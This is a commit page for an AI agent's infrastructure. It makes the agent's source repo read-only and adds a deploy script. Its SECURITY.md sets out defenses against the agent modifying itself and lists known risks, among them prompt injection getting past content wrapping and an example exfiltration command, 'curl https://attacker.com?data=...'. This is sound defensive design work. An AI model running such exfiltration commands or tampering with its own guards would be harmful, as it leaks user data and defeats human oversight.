Skip to content

Commit 61b12ea

Browse files
committed
arch: separate infra source from agent runtime (read-only ~/hornet/)
Major architecture change: ~/hornet/ is now read-only to the agent. The agent runs from deployed copies instead of the live source repo. Changes: - bin/deploy.sh: New script deploys extensions, skills, and bridge from source to runtime directories with correct permissions - ~/.pi/agent/extensions/: Real directory (was symlink to source) - ~/.pi/agent/skills/: Real directory (was symlink to source) - ~/runtime/slack-bridge/: New runtime location for bridge process - tool-guard.ts: Blocks ALL writes to ~/hornet/ (not just specific files), blocks chmod/chown/tee to source repo, protects runtime security files - security-audit.sh: Replaces per-file ownership checks with: - Source repo writability check - Symlink-to-real-dir verification - Runtime integrity checks (sha256 vs source) - setup.sh: Creates runtime dirs, runs deploy.sh, applies read-only permissions (bind mount + fallback chmod a-w) - start.sh: Updated comments for new architecture - SECURITY.md: Documents source/runtime separation model - harden-permissions.sh: Covers runtime directory Security model simplification: Before: 4-layer defense (file ownership, pre-commit hook, tool-guard, skill guidance) with fragile per-file ownership requiring careful admin workflow After: Read-only source repo (single guarantee) + tool-guard + integrity checks Admin edits source freely, runs deploy.sh to push to runtime
1 parent e316dd1 commit 61b12ea

12 files changed

Lines changed: 540 additions & 129 deletions

SECURITY.md

Lines changed: 60 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,31 @@
11
# Security
22

3+
## Architecture: Source / Runtime Separation
4+
5+
```
6+
~/hornet/ ← READ-ONLY source repo (admin-managed)
7+
├── pi/extensions/ ← source of truth for extensions
8+
├── pi/skills/ ← source of truth for skill templates
9+
├── bin/ ← admin scripts (deploy.sh, audit, firewall)
10+
└── slack-bridge/ ← source of truth for bridge
11+
12+
~/.pi/agent/
13+
├── extensions/ ← DEPLOYED copies (real dir, not symlink)
14+
│ ├── tool-guard.ts ← security-critical (deployed by admin)
15+
│ ├── auto-name.ts ← agent-modifiable
16+
│ └── ...
17+
└── skills/ ← agent-owned (agent updates freely)
18+
19+
~/runtime/
20+
└── slack-bridge/ ← DEPLOYED copy (bridge runs from here)
21+
├── bridge.mjs ← agent-modifiable
22+
├── security.mjs ← security-critical (deployed by admin)
23+
└── node_modules/
24+
```
25+
26+
The agent runs from deployed copies, never from the source repo directly.
27+
Admin edits source → runs `bin/deploy.sh` → copies to runtime with correct permissions.
28+
329
## Trust Boundaries
430

531
```
@@ -20,7 +46,8 @@
2046
┌─────────────────────────────────────────────────────────────────┐
2147
│ BOUNDARY 2: OS User Isolation │
2248
│ hornet_agent (uid 1001) — separate home, no sudo │
23-
│ Cannot read admin home directory (admin home is 700) │
49+
│ Cannot read admin home directory (admin home is 700) │
50+
│ Source repo ~/hornet/ is read-only (permissions + tool-guard) │
2451
│ Docker only via wrapper (blocks --privileged, host mounts) │
2552
└──────────────────────────────┬──────────────────────────────────┘
2653
@@ -33,6 +60,18 @@
3360
└─────────────────────────────────────────────────────────────────┘
3461
```
3562

63+
## Self-Modification Defense
64+
65+
| Layer | What | Bypassed by |
66+
|-------|------|-------------|
67+
| **Read-only source** | ~/hornet/ has no write permissions for agent; bind mount (if applied via setup.sh) is kernel-enforced | Root access |
68+
| **Tool-guard rules** | Blocks write/edit to ~/hornet/ AND runtime security files; blocks chmod/chown on ~/hornet/ | None (compiled into extension) |
69+
| **Integrity checks** | security-audit.sh compares runtime file hashes against source | None (detection, not prevention) |
70+
| **Pre-commit hook** | Blocks git commit of protected files in source repo | --no-verify (root-owned hook) |
71+
72+
The read-only source repo is the primary defense. Even if the agent modifies runtime copies,
73+
the admin can re-deploy from the untampered source at any time.
74+
3675
## User Model
3776

3877
| User | Role | Sudo | Groups |
@@ -73,25 +112,40 @@ Slack @mention
73112
| `SLACK_BOT_TOKEN` | Bridge `.env` | `600` | Slack bot OAuth token |
74113
| `SLACK_APP_TOKEN` | Bridge `.env` | `600` | Slack Socket Mode token |
75114

115+
## Deploy Workflow
116+
117+
```bash
118+
# Admin edits source files in ~/hornet/
119+
# Then deploys to runtime:
120+
sudo ~/hornet/bin/deploy.sh
121+
122+
# If bridge is running, restart it:
123+
sudo -u hornet_agent bash -c 'cd ~/runtime/slack-bridge && node bridge.mjs'
124+
```
125+
76126
## Known Risks
77127

78128
### Agent has unrestricted shell
79-
Within its own user permissions, `hornet_agent` can run any command. There is no tool policy layer, command allowlist, or exec approval system. A prompt injection that bypasses the content wrapping could instruct the agent to run arbitrary commands as `hornet_agent`.
129+
Within its own user permissions, `hornet_agent` can run any command. The tool-guard and safe-bash wrapper block known-dangerous patterns, but a prompt injection could attempt novel commands.
130+
131+
### Agent can modify its own runtime files
132+
The deployed copies of non-security files (bridge.mjs, skills, most extensions) are agent-writable by design. The agent could modify these. Security-critical files (tool-guard.ts, security.mjs) are write-protected at the filesystem level and monitored via integrity checks.
80133

81134
### Agent has internet access
82-
Even with port-based firewall rules, the agent can reach any host over HTTPS. Data exfiltration via `curl https://attacker.com?data=...` is possible. The firewall blocks reverse shells and non-standard ports but does not prevent HTTPS exfil.
135+
Even with port-based firewall rules, the agent can reach any host over HTTPS. Data exfiltration via `curl https://attacker.com?data=...` is possible.
83136

84137
### Content wrapping is a soft defense
85-
The `<<<EXTERNAL_UNTRUSTED_CONTENT>>>` boundaries and security notice ask the LLM to ignore injected instructions. This raises the bar but is not a hard security boundary — sufficiently clever injections may still succeed.
138+
The `<<<EXTERNAL_UNTRUSTED_CONTENT>>>` boundaries and security notice ask the LLM to ignore injected instructions. This raises the bar but is not a hard security boundary.
86139

87140
### Session logs contain full history
88-
Pi session logs (`.jsonl` files) contain the complete conversation history including tool calls, file contents, and command outputs. If permissions are not hardened (see `bin/harden-permissions.sh`), these are group-readable.
141+
Pi session logs (`.jsonl` files) contain the complete conversation history. If permissions are not hardened (see `bin/harden-permissions.sh`), these are group-readable.
89142

90143
## Security Scripts
91144

92145
| Script | Purpose | Run as |
93146
|--------|---------|--------|
94-
| `bin/security-audit.sh` | Check current security posture | hornet_agent or admin |
147+
| `bin/security-audit.sh` | Check current security posture + integrity checks | hornet_agent or admin |
148+
| `bin/deploy.sh` | Deploy from source to runtime with correct permissions | root or admin |
95149
| `bin/harden-permissions.sh` | Lock down pi state file permissions | hornet_agent |
96150
| `bin/setup-firewall.sh` | Apply port-based network restrictions | root |
97151

bin/deploy.sh

Lines changed: 187 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,187 @@
1+
#!/bin/bash
2+
# Deploy extensions and bridge from hornet source to agent runtime.
3+
#
4+
# Run as root (or bentlegen with sudo) after any admin change to ~/hornet/.
5+
# This copies files from the read-only source repo to their runtime locations,
6+
# setting appropriate ownership:
7+
# - Security-critical files → root:hornet_agent 644 (agent can read, not write)
8+
# - Agent-modifiable files → hornet_agent:hornet_agent 664
9+
#
10+
# Usage:
11+
# sudo ~/hornet/bin/deploy.sh # deploy all
12+
# sudo ~/hornet/bin/deploy.sh --dry-run # show what would change
13+
#
14+
# After deploy, restart the bridge if it's running:
15+
# sudo -u hornet_agent bash -c 'tmux send-keys -t bridge C-c; sleep 1; tmux send-keys -t bridge "cd ~/runtime/slack-bridge && node bridge.mjs" Enter'
16+
17+
set -euo pipefail
18+
19+
HORNET_SRC="/home/hornet_agent/hornet"
20+
AGENT_HOME="/home/hornet_agent"
21+
DRY_RUN=0
22+
23+
for arg in "$@"; do
24+
case "$arg" in
25+
--dry-run) DRY_RUN=1 ;;
26+
esac
27+
done
28+
29+
log() { echo " $1"; }
30+
31+
deploy_file() {
32+
local src="$1"
33+
local dest="$2"
34+
local owner="$3"
35+
local mode="$4"
36+
37+
if [ "$DRY_RUN" -eq 1 ]; then
38+
log "would copy: $src$dest ($owner, $mode)"
39+
return
40+
fi
41+
cp -a "$src" "$dest"
42+
chown "$owner" "$dest"
43+
chmod "$mode" "$dest"
44+
log "$(basename "$dest") ($owner, $mode)"
45+
}
46+
47+
# ── Extensions ───────────────────────────────────────────────────────────────
48+
49+
echo "Deploying extensions..."
50+
51+
# Security-critical extensions — root-owned, agent can read but not write
52+
PROTECTED_EXTENSIONS=(
53+
"tool-guard.ts"
54+
"tool-guard.test.mjs"
55+
)
56+
57+
# Agent-modifiable extensions — hornet_agent-owned
58+
AGENT_EXTENSIONS=(
59+
"auto-name.ts"
60+
"zen-provider.ts"
61+
"sentry-monitor.ts"
62+
)
63+
64+
EXT_SRC="$HORNET_SRC/pi/extensions"
65+
EXT_DEST="$AGENT_HOME/.pi/agent/extensions"
66+
67+
if [ "$DRY_RUN" -eq 0 ]; then
68+
mkdir -p "$EXT_DEST"
69+
fi
70+
71+
# Deploy all extension files and subdirectories
72+
for ext in "$EXT_SRC"/*; do
73+
base=$(basename "$ext")
74+
75+
# Skip node_modules — those are built in-place
76+
[ "$base" = "node_modules" ] && continue
77+
78+
if [ -d "$ext" ]; then
79+
# Extension subdirectory (agentmail, kernel, email-monitor)
80+
if [ "$DRY_RUN" -eq 0 ]; then
81+
rsync -a --delete "$ext/" "$EXT_DEST/$base/"
82+
chown -R hornet_agent:hornet_agent "$EXT_DEST/$base/"
83+
log "$base/ (hornet_agent:hornet_agent)"
84+
else
85+
log "would rsync: $ext/ → $EXT_DEST/$base/ (hornet_agent:hornet_agent)"
86+
fi
87+
continue
88+
fi
89+
90+
# Check if this is a protected extension
91+
is_protected=0
92+
for pf in "${PROTECTED_EXTENSIONS[@]}"; do
93+
if [ "$base" = "$pf" ]; then
94+
is_protected=1
95+
break
96+
fi
97+
done
98+
99+
if [ "$is_protected" -eq 1 ]; then
100+
deploy_file "$ext" "$EXT_DEST/$base" "root:hornet_agent" "644"
101+
else
102+
deploy_file "$ext" "$EXT_DEST/$base" "hornet_agent:hornet_agent" "664"
103+
fi
104+
done
105+
106+
# ── Skills ───────────────────────────────────────────────────────────────────
107+
108+
echo "Deploying skills..."
109+
110+
SKILLS_SRC="$HORNET_SRC/pi/skills"
111+
SKILLS_DEST="$AGENT_HOME/.pi/agent/skills"
112+
113+
if [ "$DRY_RUN" -eq 0 ]; then
114+
mkdir -p "$SKILLS_DEST"
115+
rsync -a "$SKILLS_SRC/" "$SKILLS_DEST/"
116+
chown -R hornet_agent:hornet_agent "$SKILLS_DEST/"
117+
log "✓ skills/ (hornet_agent:hornet_agent)"
118+
else
119+
log "would rsync: $SKILLS_SRC/ → $SKILLS_DEST/ (hornet_agent:hornet_agent)"
120+
fi
121+
122+
# ── Slack Bridge ─────────────────────────────────────────────────────────────
123+
124+
echo "Deploying slack-bridge runtime..."
125+
126+
BRIDGE_SRC="$HORNET_SRC/slack-bridge"
127+
BRIDGE_DEST="$AGENT_HOME/runtime/slack-bridge"
128+
129+
if [ "$DRY_RUN" -eq 0 ]; then
130+
mkdir -p "$BRIDGE_DEST"
131+
rsync -a "$BRIDGE_SRC/" "$BRIDGE_DEST/"
132+
133+
# Security module — root-owned, agent cannot modify
134+
chown root:hornet_agent "$BRIDGE_DEST/security.mjs"
135+
chmod 644 "$BRIDGE_DEST/security.mjs"
136+
log "✓ security.mjs (root:hornet_agent, 644)"
137+
138+
# Security tests — root-owned
139+
if [ -f "$BRIDGE_DEST/security.test.mjs" ]; then
140+
chown root:hornet_agent "$BRIDGE_DEST/security.test.mjs"
141+
chmod 644 "$BRIDGE_DEST/security.test.mjs"
142+
log "✓ security.test.mjs (root:hornet_agent, 644)"
143+
fi
144+
145+
# Bridge logic — agent-modifiable
146+
chown hornet_agent:hornet_agent "$BRIDGE_DEST/bridge.mjs"
147+
chmod 664 "$BRIDGE_DEST/bridge.mjs"
148+
log "✓ bridge.mjs (hornet_agent:hornet_agent, 664)"
149+
150+
# Package files and node_modules — agent-owned
151+
chown -R hornet_agent:hornet_agent "$BRIDGE_DEST/node_modules" 2>/dev/null || true
152+
for pf in package.json package-lock.json; do
153+
[ -f "$BRIDGE_DEST/$pf" ] && chown hornet_agent:hornet_agent "$BRIDGE_DEST/$pf"
154+
done
155+
log "✓ node_modules/ + package files (hornet_agent:hornet_agent)"
156+
else
157+
log "would rsync: $BRIDGE_SRC/ → $BRIDGE_DEST/"
158+
log "would set security.mjs → root:hornet_agent 644"
159+
log "would set bridge.mjs → hornet_agent:hornet_agent 664"
160+
fi
161+
162+
# ── Settings ─────────────────────────────────────────────────────────────────
163+
164+
echo "Deploying settings..."
165+
166+
if [ -f "$HORNET_SRC/pi/settings.json" ]; then
167+
if [ "$DRY_RUN" -eq 0 ]; then
168+
cp "$HORNET_SRC/pi/settings.json" "$AGENT_HOME/.pi/agent/settings.json"
169+
chown hornet_agent:hornet_agent "$AGENT_HOME/.pi/agent/settings.json"
170+
chmod 600 "$AGENT_HOME/.pi/agent/settings.json"
171+
log "✓ settings.json (hornet_agent:hornet_agent, 600)"
172+
else
173+
log "would copy settings.json"
174+
fi
175+
fi
176+
177+
# ── Summary ──────────────────────────────────────────────────────────────────
178+
179+
echo ""
180+
if [ "$DRY_RUN" -eq 1 ]; then
181+
echo "🔍 Dry run complete — no changes made."
182+
else
183+
echo "✅ Deploy complete."
184+
echo ""
185+
echo "If the slack bridge is running, restart it:"
186+
echo " sudo -u hornet_agent bash -c 'cd ~/runtime/slack-bridge && node bridge.mjs'"
187+
fi

bin/harden-permissions.sh

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,9 @@ fix_file "$HOME/.config/.env" "600"
6565
fix_dir "$HOME/.ssh" "700"
6666
find "$HOME/.ssh" -name 'id_*' -not -name '*.pub' -exec chmod 600 {} + 2>/dev/null
6767

68+
# Runtime directories
69+
fix_dir "$HOME/runtime" "750"
70+
6871
if [ "$changed" -eq 0 ]; then
6972
echo " ✓ All permissions already correct"
7073
fi

bin/hornet-safe-bash.test.sh

100644100755
File mode changed.

bin/redact-logs.sh

100644100755
File mode changed.

bin/redact-logs.test.sh

100644100755
File mode changed.

bin/scan-extensions.mjs

100644100755
File mode changed.

0 commit comments

Comments
 (0)